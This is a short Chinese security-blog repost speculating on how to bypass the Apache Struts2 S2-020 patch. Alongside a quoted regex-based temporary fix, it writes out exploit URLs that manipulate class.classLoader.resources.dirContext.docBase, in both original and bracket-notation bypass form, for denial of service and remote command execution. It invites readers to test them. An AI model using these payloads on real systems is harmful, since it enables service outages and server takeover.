记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

Struts2 DDOS和远程命令执行(S2-020补丁绕过)-猜想

2014-04-24 14:45

Struts2 s2-020 DDOS和远程命令执行漏洞官方发布了补丁,昨天又有童鞋发现了绕过补丁的方式,关于该Struts2 s2-020 DDOS和远程命令执行漏洞的细节可以看一下wooyun zone Nebula发布的一篇文章,地址是:http://drops.wooyun.org/papers/1377

参考Nebula发的这篇文章和4月24号南京翰海源发布经过打码的绕过该漏洞的方式,原文:

http://blog.vulnhunt.com/index.php/2014/04/24/apache_struts2_0day/

文章结尾有完美修复此漏洞的方案,内容如下:
————————————————–
临时修复方案
翰海源提出较为严格的临时解决方案
原补丁

https://github.com/apache/struts/commit/aaf5a3010e3c11ae14e3d3c966a53ebab67146be

替换所有的 ^dojo\..*
改为 (.*\.|^)class.*,^dojo\..*
—————————————————

可以看出只是修改了补丁中的正则表达式,那么绕过方式可以猜测如下:

DDOS原利用方法:

http://127.0.0.1/s/example/HelloWorld.action?class.classLoader.resources.dirContext.docBase=不存在的路径

绕过方法:

http://127.0.0.1/struts2-blank/example/HelloWorld.action?class['classLoader']['resources']['dirContext']['docBase']=不存在的路径

远程命令执行原利用方法:

http://127.0.0.1/s/example/HelloWorld.action?class.classLoader.resources.dirContext.docBase=映射主机共享目录

绕过方法:

http://127.0.0.1/struts2-blank/example/HelloWorld.action?class['classLoader']['resources']['dirContext']['docBase']=映射主机共享目录

具体的完美修复方案可参考上文中南京翰海源给出的办法。

上文只是猜测打酱油,有兴趣的朋友可以去测试看看,远程命令执行的需要部署一个J2EE的应用目录,共享之后就可以利用POC进行远程命令执行了,可以参考wooyun zone的文章。

知识来源: www.nxadmin.com/web/1256.html
想收藏或者和大家分享这篇好文章→复制链接地址

“Struts2 DDOS和远程命令执行(S2-020补丁绕过)-猜想”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

九层之台,起于累土;黑客之术,始于阅读

推广

工具

标签云